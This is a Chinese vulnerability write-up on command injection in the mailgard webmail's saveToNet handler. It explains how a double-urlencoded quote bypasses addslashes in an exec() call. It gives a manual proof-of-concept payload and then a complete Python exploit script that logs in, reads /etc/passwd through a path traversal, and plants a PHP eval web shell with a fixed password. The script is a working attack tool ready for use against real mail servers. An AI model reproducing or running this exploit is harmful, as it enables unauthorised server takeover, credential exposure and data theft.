佑友mailgard webmail命令执行之二

和http://0day5.com/archives/3042类似,或者在其基础上进行补充

先来看下全局函数:include/common.php

if(!MAGIC_QUOTES_GPC){
	foreach($_COOKIE as $key => $val){
		if(is_array($val)){
			foreach($val as $k => $v){
				$val[$k] = addslashes($v);
			}
		}else{
			$val = addslashes($val);
		}
		$_COOKIE[$key] = $val;
	}

	foreach($_POST as $key => $val){
		if(is_array($val)){
			foreach($val as $k => $v){
				$val[$k] = addslashes($v);
			}

		}else{

			$val = addslashes($val);
		}
		$_POST[$key] = $val;
	}

	foreach($_GET as $key => $val){
		if(is_array($val)){
			foreach($val as $k => $v){
				$val[$k] = addslashes($v);
			}
		}else{
			$val = addslashes($val);
		}
		$_GET[$key] = $val;
	}		
}

可以看到对GPC的value做了addslashes处理
其实还包含了360的webscan防注入,这里没啥关系就不贴了
再来看src/ajaxserver.php的问题代码:

if($_GET['exec']=='saveToNet'){
	//  保存到网络硬盘
	list($box_name,$uid) = explode(':', $_GET['sd']);

	$file_name = urldecode($_POST['file_name']);
	$net_dir = $_POST['net_dir'];

	$dir = $gTmpUploadDir.$box_name.$uid."/";
	if(!is_dir($dir)){//目录不存在,创建目录并生成文件
		@mkdir($dir,0722,true);//逐层检查创建0700权限  
		select_mailbox($connection,$box_name);
		$entity = parse_entity('type','application/',$box_name,$uid,'',true);
		foreach($entity as $val){
			$mail_attachment = mail_body($connection,$uid,$val['entity_id'],$val['encoding']);
			$att_name = $val['filename'];
			$file = fopen($dir.$att_name,'w');
			fwrite($file,$mail_attachment);
			fclose($file);

		}
	}

	$fArr = explode('.', $file_name);
	$fSuffix = end($fArr);
	$fPrefix = substr($file_name, 0, -(strlen($fSuffix)+1));
	$movefile = $gNetDiskDir.$net_dir."/".$file_name;
	$auton = 0;
	$goexpr = true;
	while($goexpr){
		if(is_file($movefile)){
			$movefile = $gNetDiskDir.$net_dir."/".$fPrefix.'('.$auton.').'.$fSuffix;
			$auton++;
		}else{
			$goexpr = false;
		}
	}

	exec("cd '".$dir."'; cp '".$file_name."' '".$movefile."'",$rs,$res);
	if($result>0 || $res===0){
		echo '<meta http-equiv="Content-Type" content="text/html; charset='.$default_charset.'" />' ;
		echo '<script type="text/javascript">';
		echo 'alert("'.$language['show_save_net_ok'].'");';
		echo '</script>';
	}
	exit;
}

问题在于:

$file_name = urldecode($_POST['file_name']);

exec("cd '".$dir."'; cp '".$file_name."' '".$movefile."'",$rs,$res);

虽然exec函数里$file_name有单引号包含,但是$file_name = urldecode($_POST['file_name']);,可以2次urlencode单引号绕过addslashes

POC如下:
1、找个账号登录http://mail.xxx.com/
2、打开http://mail.xxx.com/src/ajaxserver.php?exec=saveToNet&sd=aa:admin
3、POST net_dir=a&file_name=%2527|echo %2527%2527>/var/www/newmail/phpinfo.php%2527
4、访问http://mail.xxx.com/phpinfo.php
post

shell

import requests
import sys


if len(sys.argv) < 4:
	print 'usage:python fuck.py http(s)://target:port/ <username> <password>'
	print 'example:python fuck.py http://mail.test.com:80/ admin admin'
	sys.exit(0)
else:
	target = sys.argv[1]
	if not target.endswith('/'):
		target += '/'
	username = sys.argv[2]
	password = sys.argv[3]
	sessionid = ''

def login(target,username,password):
	login_request = ''
	global sessionid
	domain = target[(target.index('.')+1):(target.index(':',6))]
	print 'domain=' + domain
	login_url = target + 'index.php'
	post_data = 'txtname=' + username + '&domain=' + domain + '&txtpwd=' + password + '&languages=zh-cn&button=%E7%99%BB+%E5%BD%95'
	try:
		login_request = requests.post(login_url,post_data,allow_redirects=False,verify=False,timeout=3)
		if login_request.status_code == 302:
			print 'login succeeded'
			sessionid = login_request.cookies['PHPSESSID']
			return sessionid
		else:
			print 'login failed,please check username and password'
			return False
	except Exception,e:   
		print Exception,":",e
		return False


def check(target,sessionid):
	check_request = ''
	url = target + 'src/read_file.php?uploadimage=../../../../../../../../../../etc/passwd'
	request_header = {'cookie': 'MAILSESSID=' + str(sessionid) + '; PHPSESSID=' + str(sessionid)}
	try:
		check_request = requests.get(url,headers=request_header,verify=False,timeout=3)
		if 'root:x:0:0:root:/root:/bin/bash' in check_request.text and check_request.status_code == 200:
			print 'target is vulnerable\r\n'
			# print 'the content of file \'/etc/passwd\'\r\n'
			# print check_request.text
			return True
		else:
			print 'target is not vulnerable'
			return False
	except Exception,e:   
		print Exception,":",e
		return False


def getshell(target,sessionid):
	getshell_request = ''
	fuckurl = target + 'src/ajaxserver.php?exec=saveToNet&sd=aa:admin'
	getshell_header = {'cookie': 'MAILSESSID=' + str(sessionid) + '; PHPSESSID=' + str(sessionid)}
	getshell_data = 'net_dir=a&file_name=%2527|echo %2527<?php phpinfo();eval($_POST[123]);?>%2527>/var/www/newmail/shell.php%2527'
	# print getshell_data
	try:
		getshell_request = requests.post(fuckurl,getshell_data,headers=getshell_header,allow_redirects=False,verify=False)
		if (requests.get(target + 'shell.php',verify=False).status_code == 200):
			print 'getshell succeeded,address:' + str(target + 'shell.php') + ' password:123'
		else:
			print 'getshell failed!'
	except Exception,e:   
		print Exception,":",e
		return False


if __name__ == '__main__':
	if (login(target,username,password)):
		print 'sessionid=' + sessionid
		if(check(target,sessionid)):
			print 'target is vulnerable to directory transversal'
		else:
			print 'target is not vulnerable to directory transversal'
		print 'trying to getshell,please wait'
		getshell(target,sessionid)

发表评论